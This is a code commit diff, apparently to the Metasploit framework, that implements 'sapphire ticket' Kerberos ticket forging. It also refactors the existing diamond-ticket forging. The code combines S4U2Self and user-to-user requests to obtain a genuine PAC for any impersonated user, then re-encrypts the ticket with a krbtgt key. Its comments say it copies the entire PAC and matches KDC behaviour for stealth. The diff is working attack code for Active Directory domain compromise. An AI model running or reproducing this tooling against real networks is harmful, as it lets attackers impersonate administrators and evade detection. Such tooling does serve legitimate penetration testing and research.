Implement sapphire tickets

This commit is contained in:
Ashley Donaldson 2023-11-15 22:31:11 +11:00
parent bdb13601ae
commit 4e6a29d0fb
No known key found for this signature in database
GPG Key ID: D4BCDC8C892F7477
4 changed files with 119 additions and 73 deletions

View File

@ -57,6 +57,7 @@ module Msf
checksum_type = opts[:checksum_type] || Rex::Proto::Kerberos::Crypto::Checksum::RSA_MD5
ticket_checksum = opts[:ticket_checksum] || nil
is_golden = opts.fetch(:is_golden) { true }
base_vi = opts.fetch(:base_verification_info) { Rex::Proto::Kerberos::Pac::Krb5ValidationInfo.new }
validation_info = Rex::Proto::Kerberos::Pac::Krb5ValidationInfo.new(
logon_time: auth_time,
@ -65,12 +66,19 @@ module Msf
primary_group_id: primary_group_id,
logon_domain_name: domain_name,
logon_domain_id: domain_id,
full_name: '',
logon_script: '',
profile_path: '',
home_directory: '',
home_directory_drive: '',
logon_server: ''
full_name: base_vi.full_name,
logon_script: base_vi.logon_script,
profile_path: base_vi.profile_path,
home_directory: base_vi.home_directory,
home_directory_drive: base_vi.home_directory_drive,
logon_server: base_vi.logon_server,
logon_count: base_vi.logon_count,
bad_password_count: base_vi.bad_password_count,
user_account_control: base_vi.user_account_control,
sub_auth_status: base_vi.sub_auth_status,
last_successful_i_logon: base_vi.last_successful_i_logon,
last_failed_i_logon: base_vi.last_failed_i_logon,
failed_i_logon_count: base_vi.failed_i_logon_count
)
validation_info.group_ids = group_ids
if extra_sids && extra_sids.length > 0

View File

@ -482,6 +482,8 @@ class Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base
# Request a service ticket to a user on behalf of themselves
# This is mostly useful for PKINIT to recover the NT hash
# Can combine this with S4U2Self by providing an :impersonate option
# to retrieve a PAC for any account, i.e. Sapphire Ticket attack
#
# @see https://learn.microsoft.com/en-us/archive/blogs/openspecification/how-kerberos-user-to-user-authentication-works
#
@ -519,6 +521,16 @@ class Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base
additional_tickets: [ticket]
}
if options[:impersonate]
tgs_options[:pa_data] = build_pa_for_user(
{
username: options[:impersonate],
session_key: session_key,
realm: self.realm
}
)
end
request_service_ticket(
session_key,
ticket,
@ -567,6 +579,8 @@ class Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base
self.offered_etypes || Rex::Proto::Kerberos::Crypto::Encryption::DefaultOfferedEtypes
end
stop_if_preauth_not_required = options.fetch(:stop_if_preauth_not_required) { true }
tgt_result = send_request_tgt(
server_name: server_name,
client_name: client_name,
@ -574,7 +588,8 @@ class Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base
key: key,
realm: realm,
options: ticket_options,
offered_etypes: offered_etypes
offered_etypes: offered_etypes,
stop_if_preauth_not_required: stop_if_preauth_not_required
)
end

View File

@ -87,16 +87,20 @@ module Msf
#
# Take an existing ticket and change its PAC to have the provided user value
# (Used for diamond ticket functionality)
# @param as_rep [TgtResponse] The TGT containing the ASREP to modify
# @param ticket [Ticket] The ticket to modify
# @param enc_kdc_response [EncKdcResponse] The decrypted KDC response containing contextual information
# @param new_user [String] The username to apply to the ticket
# @param new_user_rid [Integer] The user RID to apply to the ticket
# @param domain [String] The domain of the user
# @param extra_sids [List<String>] Extra SIDs to include in the ticket
# @param enc_type [Integer] The encryption type of the ticket
# @param enc_key [String] The encryption key of the ticket (usually krbtgt)
# @param ticket_decryption_key [String] The encryption key of the existing ticket (krbtgt or a session key)
# @param ticket_encryption_type [Integer] The encryption type of the resulting ticket
# @param ticket_encryption_key [String] The encryption key for the resulting ticket (usually krbtgt)
# @param copy_entire_pac [Boolean] Whether to copy all values (extra stealth, as long as the values are accurate i.e. sapphire ticket), or just the important ones
#
def modify_ticket(tgt, new_user, new_user_rid, extra_sids, enc_type, enc_key)
ticket_enc_part = tgt.as_rep.ticket.enc_part
decrypted_ticket_part = ticket_enc_part.decrypt_asn1(enc_key, Rex::Proto::Kerberos::Crypto::KeyUsage::KDC_REP_TICKET)
def modify_ticket(ticket, enc_kdc_response, new_user, new_user_rid, domain, extra_sids, ticket_decryption_key, ticket_encryption_type, ticket_encryption_key, copy_entire_pac)
ticket_enc_part = ticket.enc_part
decrypted_ticket_part = ticket_enc_part.decrypt_asn1(ticket_decryption_key, Rex::Proto::Kerberos::Crypto::KeyUsage::KDC_REP_TICKET)
decoded_ticket_part = Rex::Proto::Kerberos::Model::TicketEncPart.decode(decrypted_ticket_part)
auth_data_val = decoded_ticket_part.authorization_data.elements.select { |element| element[:type] == Rex::Proto::Kerberos::Model::AuthorizationDataType::AD_IF_RELEVANT}
if auth_data_val.length != 1
@ -110,22 +114,24 @@ module Msf
raise ::Rex::Proto::Kerberos::Model::Error::KerberosError.new("#{elements.length} PAC elements found (expected 1)")
end
realm = tgt.as_rep.crealm
checksum_type = get_checksum_type(enc_type)
realm = domain
checksum_type = get_checksum_type(ticket_encryption_type)
existing_pac = Rex::Proto::Kerberos::Pac::Krb5Pac.read(elements[0][:data])
cname_principal = create_principal(new_user)
sname_principal = create_principal(['krbtgt',domain.upcase])
opts = {
client: cname_principal,
server: tgt.as_rep.ticket.sname,
auth_time: tgt.decrypted_part.auth_time,
start_time: tgt.decrypted_part.start_time,
end_time: tgt.decrypted_part.end_time,
renew_till: tgt.decrypted_part.renew_till,
server: sname_principal,
auth_time: enc_kdc_response.auth_time,
start_time: enc_kdc_response.start_time,
end_time: enc_kdc_response.end_time,
renew_till: enc_kdc_response.renew_till,
realm: realm.upcase,
key_value: enc_key,
checksum_enc_key: enc_key,
session_key: tgt.decrypted_part.key.value,
enc_type: tgt.decrypted_part.key.type,
key_value: ticket_encryption_key,
checksum_enc_key: ticket_encryption_key,
session_key: enc_kdc_response.key.value,
enc_type: enc_kdc_response.key.type,
user_id: new_user_rid,
group_ids: GROUP_IDS,
checksum_type: checksum_type,
@ -133,34 +139,7 @@ module Msf
extra_sids: extra_sids,
flags: Rex::Proto::Kerberos::Model::TicketFlags.from_flags(golden_ticket_flags),
create_ticket_checksum: false,
is_golden: true
}
####
start_time = Time.now.utc
end_time = start_time + 400000
opts = {
client: cname_principal,
server: tgt.as_rep.ticket.sname,
auth_time: tgt.decrypted_part.auth_time,
start_time: tgt.decrypted_part.start_time,
end_time: tgt.decrypted_part.end_time,
renew_till: tgt.decrypted_part.renew_till,
realm: realm.upcase,
key_value: enc_key,
checksum_enc_key: enc_key,
session_key: tgt.decrypted_part.key.value,
enc_type: enc_type,
user_id: new_user_rid,
group_ids: GROUP_IDS,
checksum_type: checksum_type,
client_name: new_user,
extra_sids: extra_sids,
flags: Rex::Proto::Kerberos::Model::TicketFlags.from_flags(golden_ticket_flags),
create_ticket_checksum: false,
is_golden: true
is_golden: true,
}
####
@ -171,6 +150,9 @@ module Msf
when Rex::Proto::Kerberos::Pac::Krb5PacElementType::LOGON_INFORMATION
opts[:group_id] = element.data.primary_group_id.value
opts[:domain_id] = element.data.logon_domain_id
if copy_entire_pac
opts[:base_verification_info] = element.data
end
when Rex::Proto::Kerberos::Pac::Krb5PacElementType::TICKET_CHECKSUM
# We want to be stealthy and match whatever the KDC is doing, so we should do it too
opts[:create_ticket_checksum] = true

View File

@ -50,8 +50,8 @@ class MetasploitModule < Msf::Auxiliary
register_options(
[
OptString.new('USER', [ true, 'The Domain User' ]),
OptInt.new('USER_RID', [ true, "The Domain User's relative identifier(RID)", Rex::Proto::Kerberos::Pac::DEFAULT_ADMIN_RID]),
OptString.new('USER', [ true, 'The Domain User to forge the ticket for' ]),
OptInt.new('USER_RID', [ true, "The Domain User's relative identifier (RID)", Rex::Proto::Kerberos::Pac::DEFAULT_ADMIN_RID], conditions: ['ACTION', 'in', %w[FORGE_SILVER FORGE_GOLDEN FORGE_DIAMOND]]),
OptString.new('NTHASH', [ false, 'The krbtgt/service nthash' ]),
OptString.new('AES_KEY', [ false, 'The krbtgt/service AES key' ]),
OptString.new('DOMAIN', [ true, 'The Domain (upper case) Ex: DEMO.LOCAL' ]),
@ -64,7 +64,7 @@ class MetasploitModule < Msf::Auxiliary
OptString.new('REQUEST_PASSWORD', [false, "The user's password, used to retrieve a base ticket"], conditions: based_on_real_ticket_condition),
OptAddress.new('RHOSTS', [false, 'The address of the KDC' ], conditions: based_on_real_ticket_condition),
OptInt.new('RPORT', [false, "The KDC server's port", 88 ], conditions: based_on_real_ticket_condition),
OptInt.new('Timeout', [false, 'The TCP timeout to establish Kerberos connection and read data', 10], conditions: based_on_real_ticket_condition)
OptInt.new('Timeout', [false, 'The TCP timeout to establish Kerberos connection and read data', 10], conditions: based_on_real_ticket_condition),
]
)
@ -144,26 +144,14 @@ class MetasploitModule < Msf::Auxiliary
def forge_diamond
validate_key!
domain = datastore['DOMAIN'].upcase
enc_key, enc_type = get_enc_key_and_type
if enc_type == Rex::Proto::Kerberos::Crypto::Encryption::AES256
# This should be the server's preferred encryption type, so we can just
# send our default types, expecting that to be selected. More stealthy this way.
offered_etypes = Rex::Proto::Kerberos::Crypto::Encryption::DefaultOfferedEtypes
else
offered_etypes = [enc_type]
end
begin
res = send_request_tgt(
server_name: "krbtgt/#{domain}",
client_name: datastore['REQUEST_USER'],
password: datastore['REQUEST_PASSWORD'],
realm: domain,
offered_etypes: offered_etypes,
options = {
stop_if_preauth_not_required: false
)
}
include_crypto_params(options)
res = kerberos_authenticator.request_tgt_only(options)
rescue ::Rex::Proto::Kerberos::Model::Error::KerberosError => e
print_error("Requesting TGT failed: #{e.message}")
return
@ -174,7 +162,7 @@ class MetasploitModule < Msf::Auxiliary
return
end
ticket = modify_ticket(res, datastore['USER'], datastore['USER_RID'], extra_sids, enc_type, enc_key)
ticket = modify_ticket(res.as_rep.ticket, res.decrypted_part, datastore['USER'], datastore['USER_RID'], datastore['DOMAIN'], extra_sids, enc_key, enc_type, enc_key, false)
ticket = Msf::Exploit::Remote::Kerberos::Ticket::Storage.store_ccache(ticket, framework_module: self, host: datastore['RHOST'])
if datastore['VERBOSE']
@ -182,6 +170,59 @@ class MetasploitModule < Msf::Auxiliary
end
end
def forge_sapphire
options = {
stop_if_preauth_not_required: false
}
include_crypto_params(options)
auth_context = kerberos_authenticator.authenticate_via_kdc(options)
credential = auth_context[:credential]
print_status("#{peer} - Using U2U to impersonate #{datastore['USER']}@#{datastore['DOMAIN']}")
session_key = Rex::Proto::Kerberos::Model::EncryptionKey.new(
type: credential.keyblock.enctype.value,
value: credential.keyblock.data.value
)
enc_key, enc_type = get_enc_key_and_type
tgs_ticket, tgs_auth = kerberos_authenticator.u2uself(credential, impersonate: datastore['USER'])
ticket = modify_ticket(tgs_ticket, tgs_auth, datastore['USER'], datastore['USER_RID'], datastore['DOMAIN'], extra_sids, session_key.value, enc_type, enc_key, true)
ticket = Msf::Exploit::Remote::Kerberos::Ticket::Storage.store_ccache(ticket, framework_module: self, host: datastore['RHOST'])
if datastore['VERBOSE']
print_ccache_contents(ticket, key: enc_key)
end
end
def kerberos_authenticator
options = {
host: datastore['RHOST'],
realm: datastore['DOMAIN'],
timeout: datastore['TIMEOUT'],
username: datastore['REQUEST_USER'],
password: datastore['REQUEST_PASSWORD'],
framework: framework,
framework_module: self,
ticket_storage: Msf::Exploit::Remote::Kerberos::Ticket::Storage::None.new
}
Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base.new(**options)
end
def include_crypto_params(options)
key, enc_type = get_enc_key_and_type
options[:key] = key
if enc_type == Rex::Proto::Kerberos::Crypto::Encryption::AES256
# This should be the server's preferred encryption type, so we can just
# send our default types, expecting that to be selected. More stealthy this way.
options[:offered_etypes] = Rex::Proto::Kerberos::Crypto::Encryption::DefaultOfferedEtypes
else
options[:offered_etypes] = [enc_type]
end
end
def get_enc_key_and_type
enc_type = nil
key = nil